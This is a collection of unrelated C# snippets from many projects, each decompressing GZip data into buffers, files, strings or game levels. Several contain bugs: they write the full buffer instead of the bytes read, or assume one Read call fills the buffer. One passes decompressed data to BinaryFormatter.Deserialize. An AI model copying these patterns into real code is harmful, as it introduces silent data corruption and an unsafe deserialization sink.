public static byte[] Decompress(byte[] data) { try { MemoryStream input = new MemoryStream(); input.Write(data, 0, data.Length); input.Position = 0; GZipStream gzip = new GZipStream(input, CompressionMode.Decompress, true); MemoryStream output = new MemoryStream(); byte[] buff = new byte[64]; int read = -1; read = gzip.Read(buff, 0, buff.Length); while (read > 0) { output.Write(buff, 0, read); read = gzip.Read(buff, 0, buff.Length); } gzip.Close(); return output.ToArray(); } catch (Exception ex) { VMuktiAPI.VMuktiHelper.ExceptionHandler(ex, "Decompress", "Compressor.cs"); return null; } }
public static byte[] DecompressData(byte[] data) { MemoryStream input = new MemoryStream(); input.Write(data, 0, data.Length); input.Position = 0; MemoryStream output; using (GZipStream gZipStream = new GZipStream(input, CompressionMode.Decompress, true)) { output = new MemoryStream(); byte[] buff = new byte[64]; int read = -1; read = gZipStream.Read(buff, 0, buff.Length); while (read > 0) { output.Write(buff, 0, read); read = gZipStream.Read(buff, 0, buff.Length); } gZipStream.Close(); } GC.Collect(); GC.WaitForPendingFinalizers(); GC.Collect(); return output.ToArray(); }
/// <summary> /// The GZIP decompress. /// </summary> /// <param name="data">The data to decompress.</param> /// <returns>The decompressed data</returns> public static byte[] GZipDecompress(this byte[] data) { byte[] bytes = null; if (data != null) { using (var input = new MemoryStream(data.Length)) { input.Write(data, 0, data.Length); input.Position = 0; var gzip = new GZipStream(input, CompressionMode.Decompress); using (var output = new MemoryStream(data.Length)) { var buff = new byte[64]; int read = gzip.Read(buff, 0, buff.Length); while (read > 0) { output.Write(buff, 0, buff.Length); read = gzip.Read(buff, 0, buff.Length); } bytes = output.ToArray(); } } } return bytes; }
public static byte[] Decompress(byte[] data) { GZipStream gZipStream; using (MemoryStream inputMemoryStream = new MemoryStream()) { inputMemoryStream.Write(data, 0, data.Length); inputMemoryStream.Position = 0; CompressionMode compressionMode = CompressionMode.Decompress; gZipStream = new GZipStream(inputMemoryStream, compressionMode, true); using (MemoryStream outputMemoryStream = new MemoryStream()) { byte[] buffer = new byte[1024]; int byteRead = -1; byteRead = gZipStream.Read(buffer, 0, buffer.Length); while (byteRead > 0) { outputMemoryStream.Write(buffer, 0, byteRead); byteRead = gZipStream.Read(buffer, 0, buffer.Length); } gZipStream.Close(); return outputMemoryStream.ToArray(); } } }
public byte[] Decompress(MemoryStream input) { try { using (var output = new MemoryStream()) { using (var gzip = new GZipStream(input, CompressionMode.Decompress, true)) { var buff = new byte[64]; int read = gzip.Read(buff, 0, buff.Length); while (read > 0) { output.Write(buff, 0, read); read = gzip.Read(buff, 0, buff.Length); } gzip.Close(); } return output.ToArray(); } } catch (Exception ex) { throw new Exception("Cannot Decompress Session Data", ex); } }
private static void DisplayContent(HttpWebResponse response, string id) { Stream stream = response.GetResponseStream(); if (stream != null) { string filePath = "D:\\pic\\" + id + ".png"; FileStream fs = new FileStream(filePath, FileMode.Create); GZipStream gzip = new GZipStream(stream, CompressionMode.Decompress); byte[] bytes = new byte[1024]; int len; if ((len = gzip.Read(bytes, 0, bytes.Length)) > 0) { fs.Write(bytes, 0, len); } else { fs.Close(); File.Delete(filePath); throw new Exception(); } while ((len = gzip.Read(bytes, 0, bytes.Length)) > 0) { fs.Write(bytes, 0, len); } fs.Close(); } }
/// <summary> /// Decompresses an array of bytes. /// </summary> /// <param name="bytes">The array of bytes to decompress.</param> /// <returns>The decompressed array of bytes.</returns> public static byte[] Decompress(this byte[] bytes) { using (MemoryStream stream = new MemoryStream()) { stream.Write(bytes, 0, bytes.Length); stream.Position = 0; using (GZipStream compressedStream = new GZipStream(stream, CompressionMode.Decompress, true)) { using (MemoryStream output = new MemoryStream()) { byte[] buffer = new byte[32*1024]; int count = compressedStream.Read(buffer, 0, buffer.Length); while (count > 0) { output.Write(buffer, 0, count); count = compressedStream.Read(buffer, 0, buffer.Length); } compressedStream.Close(); return output.ToArray(); } } } }
private void btnOK_Click(object sender, EventArgs e) { WaitCallback callBack = null; if (this.gvReplays.GetSelectedRows().Length > 0) { ReplayInfo row = this.gvReplays.GetRow(this.gvReplays.GetSelectedRows()[0]) as ReplayInfo; base.Enabled = false; if (callBack == null) { callBack = delegate (object o) { try { ReplayInfo info = (o as object[])[0] as ReplayInfo; if (info != null) { string address = ConfigSettings.GetString("BaseReplayURL", "http://gpgnet.gaspowered.com/replays/") + info.Location; WebClient client = new WebClient(); string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Gas Powered Games\SupremeCommander\replays\" + User.Current.Name; if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } path = path + @"\" + info.Location.Replace("/", "."); if (!System.IO.File.Exists(path)) { client.DownloadProgressChanged += new DownloadProgressChangedEventHandler(this.client_DownloadProgressChanged); client.DownloadFile(address, path + ".gzip"); FileStream stream = new FileStream(path + ".gzip", FileMode.Open); FileStream stream2 = new FileStream(path, FileMode.Create); GZipStream stream3 = new GZipStream(stream, CompressionMode.Decompress); byte[] buffer = new byte[0x100]; for (int j = stream3.Read(buffer, 0, 0x100); j > 0; j = stream3.Read(buffer, 0, 0x100)) { stream2.Write(buffer, 0, j); } stream3.Close(); stream.Close(); stream2.Close(); } if (System.IO.File.Exists(path)) { Process.Start(path); } } } catch (Exception exception) { ErrorLog.WriteLine(exception); } base.BeginInvoke((VGen0)delegate { base.Close(); }); }; } ThreadQueue.QueueUserWorkItem(callBack, new object[] { row }); } }
public void Blockchange2(Player p, ushort x, ushort y, ushort z, byte type) { p.ClearBlockchange(); p.SendBlockchange(x, y, z, p.level.GetTile(x, y, z)); CatchPos cpos = (CatchPos)p.blockchangeObject; FileStream fs = File.OpenRead(@Server.backupLocation + "/" + p.level.name + "/" + cpos.backup + "/" + p.level.name + ".lvl"); GZipStream gs = new GZipStream(fs, CompressionMode.Decompress); byte[] ver = new byte[2]; gs.Read(ver, 0, ver.Length); ushort version = BitConverter.ToUInt16(ver, 0); ushort[] vars = new ushort[6]; try { if (version == 1874) { byte[] header = new byte[16]; gs.Read(header, 0, header.Length); vars[0] = BitConverter.ToUInt16(header, 0); vars[1] = BitConverter.ToUInt16(header, 2); vars[2] = BitConverter.ToUInt16(header, 4); } else { byte[] header = new byte[12]; gs.Read(header, 0, header.Length); vars[0] = version; vars[1] = BitConverter.ToUInt16(header, 0); vars[2] = BitConverter.ToUInt16(header, 2); } byte[] blocks = new byte[vars[0] * vars[2] * vars[1]]; gs.Read(blocks, 0, blocks.Length); gs.Dispose(); fs.Dispose(); if (blocks.Length != p.level.blocks.Length) { p.SendMessage("Cant restore selection of different size maps."); blocks = null; return; } if (p.level.bufferblocks && !p.level.Instant) { for (ushort xx = Math.Min(cpos.x, x); xx <= Math.Max(cpos.x, x); ++xx) for (ushort yy = Math.Min(cpos.y, y); yy <= Math.Max(cpos.y, y); ++yy) for (ushort zz = Math.Min(cpos.z, z); zz <= Math.Max(cpos.z, z); ++zz) BlockQueue.Addblock(p, xx, yy, zz, blocks[xx + (zz * vars[0]) + (yy * vars[0] * vars[1])]); } else { for (ushort xx = Math.Min(cpos.x, x); xx <= Math.Max(cpos.x, x); ++xx) for (ushort yy = Math.Min(cpos.y, y); yy <= Math.Max(cpos.y, y); ++yy) for (ushort zz = Math.Min(cpos.z, z); zz <= Math.Max(cpos.z, z); ++zz) p.level.Blockchange(p, xx, yy, zz, blocks[xx + (zz * vars[0]) + (yy * vars[0] * vars[1])]); } blocks = null; if (p.staticCommands) p.Blockchange += Blockchange1; } catch { Server.s.Log("Restore selection failed"); } }
private static void OnUriResponse(Uri uri, BinaryReader reader) { using (var stream = new GZipStream(reader.BaseStream, CompressionMode.Decompress)) { const int size = 1024; var buffer = new byte[size]; var numBytes = stream.Read(buffer, 0, size); while (numBytes > 0) { Console.Write(Encoding.UTF8.GetString(buffer, 0, numBytes)); numBytes = stream.Read(buffer, 0, size); } } }
public Level Load(string levelName, string path) { Level finalLevel = new Level(new Vector3S(32, 32, 32)); finalLevel.Name = levelName; using (FileStream fs = File.OpenRead(path)) { using (GZipStream gs = new GZipStream(fs, CompressionMode.Decompress)) { byte[] ver = new byte[2]; gs.Read(ver, 0, ver.Length); ushort version = BitConverter.ToUInt16(ver, 0); //if (version != 1874) //Is a old MCForge level! // throw new Exception(path + " is not a valid MCForge Level"); // Older levels WILL STILL WORK WITH THIS so you don't need this check. .dat files won't load though. ushort[] vars = new ushort[6]; byte[] rot = new byte[2]; byte[] header = new byte[16]; gs.Read(header, 0, header.Length); vars[0] = BitConverter.ToUInt16(header, 0); //X vars[1] = BitConverter.ToUInt16(header, 2); //Z vars[2] = BitConverter.ToUInt16(header, 4); //Y vars[3] = BitConverter.ToUInt16(header, 6); //SpawnX vars[4] = BitConverter.ToUInt16(header, 8); //SpawnZ vars[5] = BitConverter.ToUInt16(header, 10); //SpawnY rot[0] = header[12]; //SpawnHeading rot[1] = header[13]; //SpawnYaw finalLevel.CWMap.Size = new Vector3S((short)vars[0], (short)vars[1], (short)vars[2]); finalLevel.CWMap.SpawnPos = new Vector3S((short)vars[3], (short)vars[4], (short)vars[5]); finalLevel.CWMap.SpawnRotation = new Vector2S(rot[0], rot[1]); finalLevel.TotalBlocks = finalLevel.CWMap.Size.x * finalLevel.CWMap.Size.z * finalLevel.CWMap.Size.y; byte[] blocks = new byte[finalLevel.CWMap.Size.x * finalLevel.CWMap.Size.z * finalLevel.CWMap.Size.y]; gs.Read(blocks, 0, blocks.Length); finalLevel.CWMap.BlockData = new byte[finalLevel.TotalBlocks]; for (int x = 0; x < finalLevel.CWMap.Size.x; x++) for (int y = 0; y < finalLevel.CWMap.Size.y; y++) for (int z = 0; z < finalLevel.CWMap.Size.z; z++) finalLevel.SetBlock(x, z, y, (byte)OldMCForgeToNewMCForge.Convert(blocks[finalLevel.PosToInt((ushort)x, (ushort)z, (ushort)y)])); //Converts all custom blocks to normal blocks. } } finalLevel.HandleMetaData(); Logger.Log("[Level] " + levelName + " was loaded"); return finalLevel; }
public static byte[] Decompress(byte[] gzip) { if (gzip == null) { return null; } const int size = 4096; // Create a GZIP stream with decompression mode. // ... Then create a buffer and write into while reading from the GZIP stream. using (var stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress)) { var buffer = new byte[size]; using (var memory = new MemoryStream()) { var count = 0; do { count = stream.Read(buffer, 0, size); if (count > 0) { memory.Write(buffer, 0, count); } } while (count > 0); return memory.ToArray(); } } }
/// <summary> /// 解压数据 /// </summary> /// <param name="aSourceStream"></param> /// <returns></returns> public static byte[] DeCompress(Stream aSourceStream) { byte[] vUnZipByte = null; GZipStream vUnZipStream; using (MemoryStream vMemory = new MemoryStream()) { vUnZipStream = new System.IO.Compression.GZipStream(aSourceStream, CompressionMode.Decompress); try { byte[] vTempByte = new byte[1024]; int vRedLen = 0; do { vRedLen = vUnZipStream.Read(vTempByte, 0, vTempByte.Length); vMemory.Write(vTempByte, 0, vRedLen); }while (vRedLen > 0); vUnZipStream.Close(); } finally { vUnZipStream.Dispose(); } vUnZipByte = vMemory.ToArray(); } return(vUnZipByte); }
/// <summary> Base64 Zip解压 为 byte[] </summary> public static byte[] ZipBase64ToBytes(string xml) { //base64解码 System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding(); System.Text.Decoder utf8Decode = encoder.GetDecoder(); byte[] todecode_byte = Convert.FromBase64String(xml); int charCount = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length); char[] decoded_char = new char[charCount]; utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0); string decoded = new string(decoded_char); //解压缩 byte[] compressBeforeByte = Convert.FromBase64String(decoded); byte[] buffer = new byte[0x1000]; using (MemoryStream ms = new MemoryStream(compressBeforeByte)) using (var zip = new IO.Compression.GZipStream(ms, IO.Compression.CompressionMode.Decompress, true)) using (MemoryStream msreader = new MemoryStream()) { int reader = 0; while ((reader = zip.Read(buffer, 0, buffer.Length)) > 0) { msreader.Write(buffer, 0, reader); } msreader.Position = 0; buffer = msreader.ToArray(); } byte[] compressAfterByte = buffer; return(compressAfterByte); }
public ManagedBitmap(string fileName) { try { byte[] buffer = new byte[1024]; MemoryStream fd = new MemoryStream(); Stream fs = File.OpenRead(fileName); using (Stream csStream = new GZipStream(fs, CompressionMode.Decompress)) { int nRead; while ((nRead = csStream.Read(buffer, 0, buffer.Length)) > 0) { fd.Write(buffer, 0, nRead); } csStream.Flush(); buffer = fd.ToArray(); } Width = buffer[4] << 8 | buffer[5]; Height = buffer[6] << 8 | buffer[7]; _colors = new Color[Width * Height]; int start = 8; for (int i = 0; i < _colors.Length; i++) { _colors[i] = Color.FromArgb(buffer[start], buffer[start + 1], buffer[start + 2], buffer[start + 3]); start += 4; } } catch { LoadedOk = false; } }
private static void AssembleGZip(List<string> files, string destinationDirectory) { //get the extenstion of the resulting file. string[] dotItems = files[0].Split('.'); //pre-last extension - the one before '.gz' string ext = dotItems[dotItems.Length - 2]; string destinationFile = destinationDirectory + "assembled." + ext; using (FileStream dest = new FileStream(destinationFile, FileMode.Append, FileAccess.Write)) { foreach (string inFile in files) { using (FileStream source = new FileStream(inFile, FileMode.Open)) { using (GZipStream sourceGZip = new GZipStream(source, CompressionMode.Decompress, false)) { byte[] buffer = new byte[4096]; int len; while ((len = sourceGZip.Read(buffer, 0, buffer.Length)) > 0) dest.Write(buffer, 0, len); } } } } }
/// <summary> /// GZip解压函数 /// </summary> /// <param name="data"></param> /// <returns></returns> public static byte[] GZipDecompress(byte[] data) { int bufferSize = 256; using (MemoryStream stream = new MemoryStream()) { using (GZipStream gZipStream = new GZipStream(new MemoryStream(data), CompressionMode.Decompress)) { byte[] bytes = new byte[bufferSize]; int n; while ((n = gZipStream.Read(bytes, 0, bytes.Length)) != 0) { stream.Write(bytes, 0, n); } gZipStream.Close(); gZipStream.Dispose(); } byte[] rdata = stream.ToArray(); stream.Close(); stream.Dispose(); return rdata; } }
public static string UnzipString(string unCompressedString) { System.Text.StringBuilder uncompressedString = new System.Text.StringBuilder(); byte[] writeData = new byte[4096]; byte[] bytData = System.Convert.FromBase64String(unCompressedString); int totalLength = 0; int size = 0; Stream s = new GZipStream(new MemoryStream(bytData), CompressionMode.Decompress); while (true) { size = s.Read(writeData, 0, writeData.Length); if (size > 0) { totalLength += size; uncompressedString.Append(System.Text.Encoding.UTF8.GetString(writeData, 0, size)); } else { break; } } s.Close(); return uncompressedString.ToString(); }
public static Stream GetStream(Stream fileStream) { Stream objFileStream = null; try { GZipStream gzip = new GZipStream(fileStream, CompressionMode.Decompress); MemoryStream memStream = new MemoryStream(); byte[] bytes = new byte[1024]; int bytesRead = -1; while (bytesRead != 0) { bytesRead = gzip.Read(bytes, 0, 1024); memStream.Write(bytes, 0, bytesRead); memStream.Flush(); } memStream.Position = 0; objFileStream = memStream; gzip.Close(); gzip.Dispose(); fileStream.Dispose(); } catch (Exception) { fileStream.Position = 0; objFileStream = fileStream; } return objFileStream; }
public static string decompress(this FileInfo fi, string targetFile) { // Get the stream of the source file. using (FileStream inFile = fi.OpenRead()) { //Create the decompressed file. using (FileStream outFile = File.Create(targetFile)) { using (var decompress = new GZipStream(inFile, CompressionMode.Decompress)) { //Copy the decompression stream into the output file. var buffer = new byte[4096]; int numRead; while ((numRead = decompress.Read(buffer, 0, buffer.Length)) != 0) { outFile.Write(buffer, 0, numRead); } "Decompressed: {0}".info(fi.Name); } } } return targetFile; }
private static void AssembleFiles(List<string> files, string destination) { for (int i = 0; i < files.Count; i++) { var fsRead = new FileStream(files[i], FileMode.Open); var fsWrite = new FileStream(destination, FileMode.Append); byte[] buffer = new byte[4096]; using (fsRead) { using (fsWrite) { using (var deCompress = new GZipStream(fsRead,CompressionMode.Decompress,false)) { while (true) { int readBytes = deCompress.Read(buffer, 0, buffer.Length); if (readBytes == 0) { break; } fsWrite.Write(buffer, 0, buffer.Length); } } } } } }
public static byte[] Decompress(byte[] bytes) { using (var gzipStream = new GZipStream(new MemoryStream(bytes), CompressionMode.Decompress)) { const int size = 4096; var buffer = new byte[size]; using (var stream = new MemoryStream()) { int count; do { count = gzipStream.Read(buffer, 0, size); if (count > 0) { stream.Write(buffer, 0, count); } } while (count > 0); return stream.ToArray(); } } }
public static byte[] Inflate(byte[] bytes) { MemoryStream ms = new MemoryStream(bytes); MemoryStream output = new MemoryStream(); GZipStream gzip = new GZipStream(ms, CompressionMode.Decompress); byte[] buffer = new byte[BUFFER_SIZE]; try { while (gzip.CanRead) { int bytesRead = gzip.Read(buffer, 0, buffer.Length); if (bytesRead <= 0) break; output.Write(buffer, 0, bytesRead); } } catch (Exception) { } finally { gzip.Close(); ms = null; } return output.ToArray(); }
public bool Claims( string fileName ) { if( fileName == null ) throw new ArgumentNullException( "fileName" ); try { using( FileStream mapStream = File.OpenRead( fileName ) ) { byte[] temp = new byte[8]; mapStream.Seek( -4, SeekOrigin.End ); mapStream.Read( temp, 0, 4 ); mapStream.Seek( 0, SeekOrigin.Begin ); int length = BitConverter.ToInt32( temp, 0 ); byte[] data = new byte[length]; using( GZipStream reader = new GZipStream( mapStream, CompressionMode.Decompress, true ) ) { reader.Read( data, 0, length ); } for( int i = 0; i < length - 1; i++ ) { if( data[i] == 0xAC && data[i + 1] == 0xED ) { return true; } } return false; } } catch( Exception ) { return false; } }
public Byte[] GZipUncompress(Byte[] buffer) { using (MemoryStream _mStream = new MemoryStream(buffer)) { using (GZipStream _gzip = new GZipStream(_mStream, CompressionMode.Decompress)) { const int _size = 4096; byte[] _buffer = new byte[_size]; using (MemoryStream _oStream = new MemoryStream()) { int _count = 0; do { _count = _gzip.Read(_buffer, 0, _size); if (_count > 0) { _oStream.Write(_buffer, 0, _count); } } while (_count > 0); return _oStream.ToArray(); } } } }
/// <summary> /// Decompress an object compressed with the gov.va.medora.utils.Compression.compress function /// </summary> /// <param name="bytes">The binary representation of the compressed object returned by the compress function</param> /// <returns>The decompressed object</returns> public object decompress(byte[] bytes) { using (GZipStream gzip = new GZipStream(new MemoryStream(bytes), CompressionMode.Decompress)) { const int bufferSize = 4096; byte[] buffer = new byte[bufferSize]; using (MemoryStream decompressedObject = new MemoryStream()) { int count = 0; do { count = gzip.Read(buffer, 0, bufferSize); if (count > 0) { decompressedObject.Write(buffer, 0, count); } } while (count > 0); decompressedObject.Position = 0; BinaryFormatter bf = new BinaryFormatter(); object result = bf.Deserialize(decompressedObject); return result; } } }
/// <summary> /// 解压数据 /// </summary> /// <param name="aSourceStream"></param> /// <returns></returns> public static byte[] DeCompress(Stream aSourceStream) { byte[] vUnZipByte = null; GZipStream vUnZipStream; using (MemoryStream vMemory = new MemoryStream()) { vUnZipStream = new GZipStream(aSourceStream, CompressionMode.Decompress); try { byte[] vTempByte = new byte[1024]; int vRedLen = 0; do { vRedLen = vUnZipStream.Read(vTempByte, 0, vTempByte.Length); vMemory.Write(vTempByte, 0, vRedLen); } while (vRedLen > 0); vUnZipStream.Close(); } finally { vUnZipStream.Dispose(); } vUnZipByte = vMemory.ToArray(); } return vUnZipByte; }
public string UncompressHandHistory(string compressedHandHistory) { if (compressedHandHistory == null) return null; byte[] byteArray = new byte[compressedHandHistory.Length]; int indexBa = 0; foreach (char item in compressedHandHistory) byteArray[indexBa++] = (byte)item; MemoryStream memoryStream = new MemoryStream(byteArray); GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress); byteArray = new byte[1024]; StringBuilder stringBuilder = new StringBuilder(); int readBytes; while ((readBytes = gZipStream.Read(byteArray, 0, byteArray.Length)) != 0) { for (int i = 0; i < readBytes; i++) stringBuilder.Append((char)byteArray[i]); } gZipStream.Close(); memoryStream.Close(); gZipStream.Dispose(); memoryStream.Dispose(); return stringBuilder.ToString(); }
private byte[] DecompressBytes(byte[] bytesToDecompress) { if (bytesToDecompress == null) throw new ArgumentNullException(nameof(bytesToDecompress)); using (var stream = new GZipStream(new MemoryStream(bytesToDecompress), CompressionMode.Decompress)) { const int size = 4096; var buffer = new byte[size]; using (var memory = new MemoryStream()) { int count; do { count = stream.Read(buffer, 0, size); if (count > 0) { memory.Write(buffer, 0, count); } } while (count > 0); return memory.ToArray(); } } }
private static void Assemble(int parts) { byte[] buffer = new byte[4096]; for (int i = 1; i <= parts; i++) { string source = String.Format("../../assembled.txt",FileMode.Append); FileStream partOfFile = new FileStream(source,FileMode.Open); FileStream assembledFile = new FileStream("../../assembled.txt",FileMode.Append); using (partOfFile) { using (assembledFile) { using (GZipStream decompression = new GZipStream(partOfFile,CompressionMode.Decompress)) { while (true) { int bytesRead = decompression.Read(buffer, 0, buffer.Length); if (bytesRead == 0) { break; } assembledFile.Write(buffer,0,bytesRead); } } } } } }
public string DeCompressString(string compressedText) { try { byte[] gzBuffer = Convert.FromBase64String(compressedText); using (MemoryStream ms = new MemoryStream()) { int msgLength = BitConverter.ToInt32(gzBuffer, 0); ms.Write(gzBuffer, 4, gzBuffer.Length - 4); byte[] buffer = new byte[msgLength]; ms.Position = 0; using (System.IO.Compression.GZipStream zip = new System.IO.Compression.GZipStream(ms, System.IO.Compression.CompressionMode.Decompress)) { zip.Read(buffer, 0, buffer.Length); } return(System.Text.Encoding.Unicode.GetString(buffer, 0, buffer.Length)); } } catch (Exception err) { return(err.Message.ToString()); } }
public static byte[] DecompressData(byte[] source) { byte[] decompressedData = new byte[0]; using (MemoryStream tempStream = new MemoryStream(source)) { tempStream.Position = 0L; byte[] temp = new byte[4096]; using (GZipStream gzipStream = new GZipStream(tempStream, CompressionMode.Decompress, true)) { try { int readLen; while ((readLen = gzipStream.Read(temp, 0, 4096)) != 0) { LSAppendBytes(ref decompressedData, temp, 0, readLen); } } catch { throw; } } temp = null; } return decompressedData; }
public void Memory_Compress_Decompress() { var input = (byte[])PlainBytes.Clone(); byte[] compressed; using(var outStream = new MemoryStream(input.Length)) { using(var gzip = new GZipStream(outStream, CompressionMode.Compress)) { gzip.Write(input, 0, input.Length); } compressed = outStream.ToArray(); Assert.IsNotNull(compressed); Assert.IsTrue(compressed.Length > 0); } using(var outStream = new MemoryStream(input.Length)) using(var gzip = new GZipStream(new MemoryStream(compressed), CompressionMode.Decompress)) { var readCount = 0; var buffer = new byte[CompressorTool.BUFFER_SIZE]; while((readCount = gzip.Read(buffer, 0, buffer.Length)) > 0) { outStream.Write(buffer, 0, readCount); } byte[] decompressed = outStream.ToArray(); Assert.IsTrue(decompressed.Length > 0); Assert.AreEqual(PlainBytes, decompressed); } }
public static string Decompress(string s) { if (string.IsNullOrEmpty(s)) { return(""); } if (GameState.UseNewSaveCompression) { return(Decompress2(s)); } try { Span <byte> buffer = new Span <byte>(new byte[s.Length]); if (Convert.TryFromBase64String(s, buffer, out int b) == false) { if (Convert.TryFromBase64String(s.PadRight(s.Length / 4 * 4 + (s.Length % 4 == 0 ? 0 : 4), '='), new Span <byte>(new byte[s.Length]), out int pad)) { Console.WriteLine("String Length:" + s.Length); Console.WriteLine("Bytes parsed:" + pad); Console.WriteLine("End padding:" + s.Substring(s.Length - 10)); using (var source = new MemoryStream(Convert.FromBase64String(s))) { byte[] len = new byte[4]; source.Read(len, 0, 4); var l = BitConverter.ToInt32(len, 0); using (var decompressionStream = new System.IO.Compression.GZipStream(source, System.IO.Compression.CompressionMode.Decompress)) { var result = new byte[l]; decompressionStream.Read(result, 0, l); return(Encoding.UTF8.GetString(result)); } } } else { Console.WriteLine("Padding failed."); Console.WriteLine("String Length:" + s.Length); Console.WriteLine("Bytes parsed:" + b); Console.WriteLine("End padding:" + s.Substring(s.Length - 10)); } } using (var source = new MemoryStream(Convert.FromBase64String(s))) { byte[] len = new byte[4]; source.Read(len, 0, 4); var l = BitConverter.ToInt32(len, 0); using (var decompressionStream = new System.IO.Compression.GZipStream(source, System.IO.Compression.CompressionMode.Decompress)) { var result = new byte[l]; decompressionStream.Read(result, 0, l); return(Encoding.UTF8.GetString(result)); } } } catch { return(Decompress2(s)); } }
/// <summary> /// Decompresses the given data stream from its source ZIP or GZIP format. /// </summary> /// <param name="dataBytes"></param> /// <returns></returns> internal static byte[] Inflate(Stream dataStream) { byte[] outputBytes = null; try { using (var deflateStream = new ZlibStream(dataStream, MonoGame.Utilities.CompressionMode.Decompress)) { int length = (int)deflateStream.BufferSize; if (length == 0) { return(new byte[0]); } outputBytes = new byte[length]; deflateStream.Read(outputBytes, 0, length); } } catch { try { dataStream.Seek(0, SeekOrigin.Begin); #if !WINDOWS_PHONE using (var gzipInputStream = new GZipInputStream(dataStream, System.IO.Compression.CompressionMode.Decompress)) #else using (var gzipInputStream = new GZipInputStream(dataStream)) #endif { int length = (int)gzipInputStream.BaseStream.Length; if (length == 0) { return(new byte[0]); } outputBytes = new byte[length]; gzipInputStream.Read(outputBytes, 0, length); } } catch (Exception exc) { CCLog.Log("Error decompressing image data: " + exc.Message); } } return(outputBytes); }
/// <summary> /// 解压缩数据组 /// </summary> /// <param name="source"></param> /// <returns></returns> public static byte[] Decompress(this byte[] source) { using (var ms = new System.IO.MemoryStream(source)) using (var gzip = new System.IO.Compression.GZipStream(ms, CompressionMode.Decompress)) using (var msout = new System.IO.MemoryStream()) { var buffer = new byte[1024]; var count = 0; while ((count = gzip.Read(buffer, 0, buffer.Length)) > 0) { msout.Write(buffer, 0, count); } msout.Close(); return(msout.ToArray()); } }
public static byte[] GZipDecompress(byte[] ts) { MemoryStream srcMs = new MemoryStream(ts); System.IO.Compression.GZipStream zipStream = new System.IO.Compression.GZipStream(srcMs, System.IO.Compression.CompressionMode.Decompress); MemoryStream ms = new MemoryStream(); byte[] bytes = new byte[40960]; int n; while ((n = zipStream.Read(bytes, 0, bytes.Length)) > 0) { ms.Write(bytes, 0, n); } zipStream.Close(); return(ms.ToArray()); }
public void testGzipStream() { // make sure compression works, file should be smaller string sample = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "files", "fp.log"); byte[] uncompressed = File.ReadAllBytes(sample); int before = uncompressed.Length; byte[] compressed; int after = 0; // test gzip stream compression code using (MemoryStream compressStream = new MemoryStream()) using (ZopfliStream compressor = new ZopfliStream(compressStream, ZopfliFormat.ZOPFLI_FORMAT_GZIP)) { compressor.Write(uncompressed, 0, before); compressor.Close(); compressed = compressStream.ToArray(); after = compressed.Length; } before.Should().BeGreaterThan(after); // make sure we can decompress the file using built-in .net byte[] decompressedBytes = new byte[before]; using (MemoryStream tempStream = new MemoryStream(compressed)) using (System.IO.Compression.GZipStream decompressionStream = new System.IO.Compression.GZipStream(tempStream, System.IO.Compression.CompressionMode.Decompress)) { decompressionStream.Read(decompressedBytes, 0, before); } uncompressed.Should().Equal(decompressedBytes); // use built-in .net compression and make sure zopfil is smaller int after_builtin = 0; using (MemoryStream compressStream = new MemoryStream()) using (System.IO.Compression.GZipStream compressor = new System.IO.Compression.GZipStream(compressStream, System.IO.Compression.CompressionLevel.Optimal)) { compressor.Write(uncompressed, 0, before); compressor.Close(); after_builtin = compressStream.ToArray().Length; } after_builtin.Should().BeGreaterThan(after); }
public static byte[] DecompressByGzip(byte[] input) { using (MemoryStream outms = new MemoryStream()) { using (MemoryStream ims = new MemoryStream(input)) { //ims.Write(input, 0, input.Length); using (System.IO.Compression.GZipStream gzip = new System.IO.Compression.GZipStream(ims, System.IO.Compression.CompressionMode.Decompress)) { byte[] buf = new byte[1024]; int len = 0; //len = gzip.Read(buf, 1, buf.Length); while ((len = gzip.Read(buf, 0, buf.Length)) > 0) { outms.Write(buf, 0, len); } return(outms.ToArray()); } } } }
/// <summary> /// GZIP解压 /// </summary> /// <param name="text"></param> /// <returns></returns> public static string Decompress(byte[] buffer) { using (MemoryStream dms = new MemoryStream()) { using (MemoryStream cms = new MemoryStream(buffer)) { using (System.IO.Compression.GZipStream gzip = new System.IO.Compression.GZipStream(cms, System.IO.Compression.CompressionMode.Decompress)) { byte[] bytes = new byte[1024]; int len = 0; //读取压缩流,同时会被解压 while ((len = gzip.Read(bytes, 0, bytes.Length)) > 0) { dms.Write(bytes, 0, len); } } } return(Encoding.UTF8.GetString(dms.ToArray())); } }
public static string UnZip(string value) { var inputByteArray = new byte[value.Length / 2]; for (var x = 0; x < inputByteArray.Length; x++) { var i = Convert.ToInt32(value.Substring(x * 2, 2), 16); inputByteArray[x] = (byte)i; } //Transform string into byte[] byte[] byteArray = inputByteArray; //Prepare for decompress System.IO.MemoryStream ms = new System.IO.MemoryStream(byteArray); System.IO.Compression.GZipStream sr = new System.IO.Compression.GZipStream(ms, System.IO.Compression.CompressionMode.Decompress); //Reset variable to collect uncompressed result byteArray = new byte[byteArray.Length]; //Decompress int rByte = sr.Read(byteArray, 0, byteArray.Length); //Transform byte[] unzip data to string System.Text.StringBuilder sB = new System.Text.StringBuilder(rByte); //Read the number of bytes GZipStream red and do not a for each bytes in //resultByteArray; for (int i = 0; i < rByte; i++) { sB.Append((char)byteArray[i]); } sr.Close(); ms.Close(); sr.Dispose(); ms.Dispose(); return(sB.ToString()); }
public static string UnZip(string value) { //Transform string into byte[] byte[] byteArray = new byte[value.Length]; int indexBA = 0; foreach (char item in value.ToCharArray()) { byteArray[indexBA++] = (byte)item; } //Prepare for decompress System.IO.MemoryStream ms = new System.IO.MemoryStream(byteArray); System.IO.Compression.GZipStream sr = new System.IO.Compression.GZipStream(ms, System.IO.Compression.CompressionMode.Decompress); //Reset variable to collect uncompressed result byteArray = new byte[byteArray.Length]; //Decompress int rByte = sr.Read(byteArray, 0, byteArray.Length); //Transform byte[] unzip data to string System.Text.StringBuilder sB = new System.Text.StringBuilder(rByte); //Read the number of bytes GZipStream red and do not a for each bytes in //resultByteArray; for (int i = 0; i < rByte; i++) { sB.Append((char)byteArray[i]); } sr.Close(); ms.Close(); sr.Dispose(); ms.Dispose(); return(sB.ToString()); }
